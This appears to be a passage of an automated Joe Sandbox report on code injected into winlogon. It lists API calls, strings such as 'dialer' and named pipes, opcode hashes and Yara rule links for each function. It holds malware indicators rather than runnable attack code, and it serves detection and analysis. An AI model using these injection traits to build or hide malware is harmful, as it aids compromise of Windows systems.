Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 1de5ddcc8f1dfc1167620b25f9dc58926eb66b08d3309719a253bb24b32ba1e0
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 8E215679628F5093F710CBA9F54835977A1F785796F608215DB5903BA4CF7CC145CB00

Function 00000225DC6AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC6AA5A1

Part of subcall function 00000225DC6AB414: __GetUnwindTryBlock.LIBCMT ref: 00000225DC6AB457
Part of subcall function 00000225DC6AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC6AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC6AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC6AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC6AA9DA

Strings

csm, xrefs: 00000225DC6AA622
csm, xrefs: 00000225DC6AA69C
csm, xrefs: 00000225DC6AA5BB

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 555fb57b5e2f5e687e313f4fed1146f863cabed64c72fa6e629389c121d24878
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 23E1C77A604F50AAFB60DFADD44839D77A0F745799F309116EE8997B9ACB34C182CB00

Function 00000225DC619944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC6199A1

Part of subcall function 00000225DC61A814: __GetUnwindTryBlock.LIBCMT ref: 00000225DC61A857
Part of subcall function 00000225DC61A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC61A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC619A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC619CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC619DDA

Strings

csm, xrefs: 00000225DC619A9C
csm, xrefs: 00000225DC619A22
csm, xrefs: 00000225DC6199BB

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ccd8efdbd64409059a3f17658d38d7afc50ea8cd74631e28eb6d2bb9e49f1cd4
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F3E1D37A602F609AEF60DFA9D48839D77E0F749B8BF108115EE8947B99CB34C592C700

Function 00000225DC679944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC6799A1

Part of subcall function 00000225DC67A814: __GetUnwindTryBlock.LIBCMT ref: 00000225DC67A857
Part of subcall function 00000225DC67A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC67A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC679A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC679CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC679DDA

Strings

csm, xrefs: 00000225DC6799BB
csm, xrefs: 00000225DC679A9C
csm, xrefs: 00000225DC679A22

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 79a22f26d4f7f371d14ec50af5f62361132822db574cad1d617c9f743099e6d3
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 18E1C17A600F609AEB60DFA9D48839D77E0F749B9AF108915EE8957FD9CB34C492C700

Function 00000225DC64A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC64A5A1

Part of subcall function 00000225DC64B414: __GetUnwindTryBlock.LIBCMT ref: 00000225DC64B457
Part of subcall function 00000225DC64B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC64B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC64A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC64A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC64A9DA

Strings

csm, xrefs: 00000225DC64A622
csm, xrefs: 00000225DC64A5BB
csm, xrefs: 00000225DC64A69C

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: bf4187be2395a619f89a1bc8f3fca4df6631bddcfcdd61a4c67bb6d669326bcb
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 65E1A47A60CF60AAFB60DFA9D44839D77A4F745799F208155EE8A57B9ACB34C082C700

Function 00000225DC6AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000225DC6AF510
GetProcAddress.KERNEL32 ref: 00000225DC6AF51C

Strings

ext-ms-, xrefs: 00000225DC6AF46D
api-ms-, xrefs: 00000225DC6AF45A

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 17cc71c834340602f80b56e8e75482b2e164db3fe2ea15b9f73ab924f287fe61
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 4A41C22A311F20A5FB16CBAEA9087553391FB45BA2F258129AE0EC7785EF38C445C316

Function 00000225DC64F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000225DC64F510
GetProcAddress.KERNEL32 ref: 00000225DC64F51C

Strings

ext-ms-, xrefs: 00000225DC64F46D
api-ms-, xrefs: 00000225DC64F45A

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 4194e3e7209c85e71950454c05d0e0ffaf74f2fe4e207fa6d649fb1745087b51
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: E541F42A32DE20B1EB56CBEEA9087553391BB49BE2F15C125AD0F87785EF38C445C315

Function 00000225DC6A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A10B1
RegEnumValueW.ADVAPI32 ref: 00000225DC6A1117
GetProcessHeap.KERNEL32 ref: 00000225DC6A115A
HeapAlloc.KERNEL32 ref: 00000225DC6A1168
GetProcessHeap.KERNEL32 ref: 00000225DC6A1185
HeapFree.KERNEL32 ref: 00000225DC6A1193

Strings

d, xrefs: 00000225DC6A10D6

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 5a3c0a9bbafb0f78905138bbf46c57f4a34e7ddab14eac61c3c20f9c737e8ad5
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 9B418077214F94D6E764CFA5E44839E77A1F388B9AF148129DB8947B58DF38C849CB00

Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410B1
RegEnumValueW.ADVAPI32 ref: 00000225DC641117
GetProcessHeap.KERNEL32 ref: 00000225DC64115A
HeapAlloc.KERNEL32 ref: 00000225DC641168
GetProcessHeap.KERNEL32 ref: 00000225DC641185
HeapFree.KERNEL32 ref: 00000225DC641193

Strings

d, xrefs: 00000225DC6410D6

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: d1ef6154134f3d25a2e3b62082cc3c12da5f52964662e2438e80bc3b6bcb4469
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: B6418077218F94D6E760CFA5E44879E77A1F388B99F148129DB8A07B58DF38C449CB00

Function 00000225DC6AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD087
FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0A6
FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0CE
FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0DF
FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0F0

Strings

1%, xrefs: 00000225DC6AD0CE
Y%, xrefs: 00000225DC6AD0A6

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 2022ee20624ae9fac7997fd3bf5dc1645fffc08433487f268156f8275001b495
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 6911C468700F6461FA68EBFE5A5D36961415F543F2F34D324A83AC77EADE78C842C201

Function 00000225DC64D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D087
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0A6
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0CE
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0DF
FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0F0

Strings

Y%, xrefs: 00000225DC64D0A6
1%, xrefs: 00000225DC64D0CE

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: be52c68ba33939f5a848b29d9d21d48e408fdab80177f021fac5a07cf6ddf0ee
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C111B628B0CE64A1FE6897BED55D32971415B557F2F14C3A4A87B477DADE78C442C200

Function 00000225DC6A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC6A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6A758A
_RTC_Initialize.LIBCMT ref: 00000225DC6A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC6A7609

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f6d16694de95954a0b883b7a0c824403c85fe028b68c945db90d9150eb585885
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CF81D22D700E21B6FB54EBEDA84D39966D1AB8578BF34D425DA04C77A6DB38C845CF00

Function 00000225DC647510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647538
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC64758A
_RTC_Initialize.LIBCMT ref: 00000225DC6475B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6475DE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC647609

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a54115b046e8042141df28d7bb05dcfe8318faa30d7cb3b304a9c15ab40c91e6
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0281362C61CE31AAFB54ABEDA44C39937D1E785782F14C4A4DA0B877A6DB38C845CF00

Function 00000225DC6A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000225DC6A9E49
GetLastError.KERNEL32 ref: 00000225DC6A9E57
LoadLibraryExW.KERNEL32 ref: 00000225DC6A9E81
FreeLibrary.KERNEL32 ref: 00000225DC6A9EC7
GetProcAddress.KERNEL32 ref: 00000225DC6A9ED3

Strings

api-ms-, xrefs: 00000225DC6A9E69

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 0f4212df039294fefdde6ff96b437b18f0d6b6311749627e01e145e3100ab471
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F431F429312E20F1EE25DBCAA80875523D4BF48BA2F3985259D1E8B79ADF38C047C300

Function 00000225DC649DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000225DC649E49
GetLastError.KERNEL32 ref: 00000225DC649E57
LoadLibraryExW.KERNEL32 ref: 00000225DC649E81
FreeLibrary.KERNEL32 ref: 00000225DC649EC7
GetProcAddress.KERNEL32 ref: 00000225DC649ED3

Strings

api-ms-, xrefs: 00000225DC649E69

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1846bb63d11909a53191b25e77548844483a8de6adc9bd3f24389271b0a95010
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 2131E62935EE60F1EE21DBCAA408B653398BB48BA6F5985259D1F0B798DF39C447C300

Function 00000225DC6B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC6B3DE5
GetLastError.KERNEL32 ref: 00000225DC6B3DF1
CloseHandle.KERNEL32 ref: 00000225DC6B3E09
CreateFileW.KERNEL32 ref: 00000225DC6B3E34
WriteConsoleW.KERNEL32 ref: 00000225DC6B3E53

Strings

CONOUT$, xrefs: 00000225DC6B3E15

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 6e1e93a200b7bd570fa0b190f4c403581b2cb531a58d9972e87f4823fb88df5f
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 1E11BC35310FA096E7508B9AE848319B7A5F388FE7F088225EB1E877A4CF38C805C740

Function 00000225DC653DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC653DE5
GetLastError.KERNEL32 ref: 00000225DC653DF1
CloseHandle.KERNEL32 ref: 00000225DC653E09
CreateFileW.KERNEL32 ref: 00000225DC653E34
WriteConsoleW.KERNEL32 ref: 00000225DC653E53

Strings

CONOUT$, xrefs: 00000225DC653E15

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 158becd88709c9cbcacd230cd8387edf0a13bed790f97ee48f9835d8b457c441
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 5A119135720F6096E7608BDAE84831977A0F788FE6F248225EB5E877A4CF78C914C740

Function 00000225DC6A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC6A379E
GetCurrentProcess.KERNEL32 ref: 00000225DC6A37CC
VirtualProtectEx.KERNEL32 ref: 00000225DC6A37EE
GetCurrentProcess.KERNEL32 ref: 00000225DC6A3809
VirtualProtectEx.KERNEL32 ref: 00000225DC6A382A

Strings

wr, xrefs: 00000225DC6A37FF

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5626651945d5fb8906f413eb53f91b70d6605e573597d601334c82dde5c84599
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 40118B2A304F6092EF189BAAE40C269B3A5FB88F86F148038DF8943794EF3DC505C704

Function 00000225DC6A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5B6B
GetThreadContext.KERNEL32 ref: 00000225DC6A5CD5

Part of subcall function 00000225DC6A5960: GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5964

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 0ad3d618e1835294593f6452ab590f590bc81cd41d15a12307719c1f0daf2064
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: C9D1AC7A208F9895DB70DB4AE49435A7BA0F7C8B89F104116EACD87BA9DF3CC551CB40

Function 00000225DC6A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A2F27
HeapAlloc.KERNEL32 ref: 00000225DC6A2F3A
StrCmpNIW.SHLWAPI ref: 00000225DC6A2FAF
GetProcessHeap.KERNEL32 ref: 00000225DC6A3015
HeapFree.KERNEL32 ref: 00000225DC6A3023

Strings

dialer, xrefs: 00000225DC6A2FA8

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 6d0a1707391fcb5c153528b149007a8a8c9fe1f40df049437015618af4cf0edf
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 5E31B23A781F61A2EA15CF9EE54876967A1FB48B86F18C0309F4C87B55EF34D4A1C300

Function 00000225DC642F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC642F27
HeapAlloc.KERNEL32 ref: 00000225DC642F3A
StrCmpNIW.SHLWAPI ref: 00000225DC642FAF
GetProcessHeap.KERNEL32 ref: 00000225DC643015
HeapFree.KERNEL32 ref: 00000225DC643023

Strings

dialer, xrefs: 00000225DC642FA8

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 2e98920b3895b546e8cfee93848436d20f1d91fbd890dc42e4983bef65e91d92
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9131CE2A309F65A2EB52CFDEE54872A77A0FB44B86F18C1209F4A47B55EF34C4A1C300

Function 00000225DC6ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC6ACFAF
FlsSetValue.KERNEL32(?,?,?,00000225DC6AD6B5,?,?,?,?,00000225DC6AD778), ref: 00000225DC6ACFE5
FlsSetValue.KERNEL32(?,?,?,00000225DC6AD6B5,?,?,?,?,00000225DC6AD778), ref: 00000225DC6AD012
FlsSetValue.KERNEL32(?,?,?,00000225DC6AD6B5,?,?,?,?,00000225DC6AD778), ref: 00000225DC6AD023
FlsSetValue.KERNEL32(?,?,?,00000225DC6AD6B5,?,?,?,?,00000225DC6AD778), ref: 00000225DC6AD034
SetLastError.KERNEL32 ref: 00000225DC6AD04F

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
